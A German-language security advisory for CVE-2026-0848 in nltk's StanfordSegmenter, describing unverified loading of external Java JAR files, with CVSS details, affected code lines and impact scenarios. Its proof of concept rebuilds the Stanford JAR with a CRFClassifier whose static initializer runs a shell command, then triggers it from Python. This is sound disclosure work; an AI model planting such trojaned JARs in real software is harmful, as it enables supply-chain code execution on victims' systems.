
nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-0848 |
| Paket | nltk (Natural Language Toolkit) |
| Registry | PyPI |
| Betroffene Versionen | <= 3.9.2 |
| Schwachstellentyp | CWE-20: Unzureichende Eingabevalidierung |
| CVSS-Score | 10.0 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsumfang | Geändert |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
| Gemeldet am | 6. Dezember 2025 |
| CVE veröffentlicht | März 2026 |
| Unterstützt durch | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter lädt über subprocess dynamisch externe Java-.jar-Dateien, ohne eine Integritätsprüfung, Signaturprüfung oder Sandboxing durchzuführen. Die Klasse akzeptiert vollständig angreiferkontrollierte Parameter wie path_to_jar, path_to_model, path_to_dict und java_class und übergibt sie direkt an einen java -cp-Aufruf.
Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann – etwa durch ein vergiftetes Modell-Download, einen Man-in-the-Middle-Pakettausch, eine Abhängigkeitsvergiftung oder einen manipulierten Release-Mirror – wird beim Klassenladen beliebiger Java-Bytecode über den statischen Initialisierungsmechanismus der JVM ausgeführt. Dies stellt eine Remote-Code-Ausführung in der Lieferkette dar und umgeht die Python-Laufzeitumgebung vollständig.
| Datei | Zeilen | Beschreibung |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Akzeptiert angreiferkontrollierte path_to_jar, path_to_model, path_to_dict und java_class ohne Validierung |
nltk/internals.py | L220–L300 | Startet die Java-Ausführung direkt mit benutzerkontrolliertem JAR-Pfad und Classpath, ohne Sandbox oder Prüfsummenverifizierung |
nltk/internals.py | L109–L152 | subprocess.Popen() führt Java mit nicht validierter Classpath-Eingabe aus, wodurch die JVM beliebigen Bytecode laden und statische Initialisierer ausführen kann |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metrik | Wert |
|---|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsumfang | Geändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
Eine erfolgreiche Ausnutzung verschafft einem Angreifer die vollständige Kontrolle über das System, auf dem der NLTK-Segmentierungsprozess ausgeführt wird:
Runtime.getRuntime().exec() oder ProcessBuilder aufrufen, um beliebige Shell-Befehle auszuführen| Szenario | Auswirkung |
|---|---|
| ML-Forscher lädt ein vortrainiertes Segmentierungsmodell aus dem Internet | Remote-Angreifer erlangt Codeausführung |
| Organisation lädt ein manipuliertes ZIP-Modell für die chinesische Segmentierung herunter | Schadsoftware wird in der Produktions-NLP-Pipeline ausgeführt |
CI/CD-Server installiert ein Modell über wget/unzip von einem Nicht-HTTPS-Mirror | Vollständige Kompromittierung der Umgebung |
| Übernahme einer Abhängigkeit oder vergifteter Release-Mirror | Vollständige Supply-Chain-RCE |
Diese Schwachstelle betrifft jeden NLP-Workflow, der StanfordSegmenter verwendet, einschließlich Chatbots, LLM-Vorverarbeitungspipelines, Datensatzsegmentierung, Dokumentklassifizierung und Produktions-Inferenzdiensten.
Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Ausgabe:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
RCE bestätigen:
ls /tmp | grep pwned_hijack
# pwned_hijack
Die Schwachstelle ist in zwei Dateien vorhanden:
stanford_segmenter.py — Der Konstruktor der Klasse StanfordSegmenter akzeptiert path_to_jar, path_to_model, path_to_dict und java_class als einfache Zeichenkettenargumente und leitet sie direkt an die Java-Ausführungsebene weiter, ohne eine der folgenden Prüfungen durchzuführen:
java_class anhand einer bekannten, sicheren Menge von Klassennamen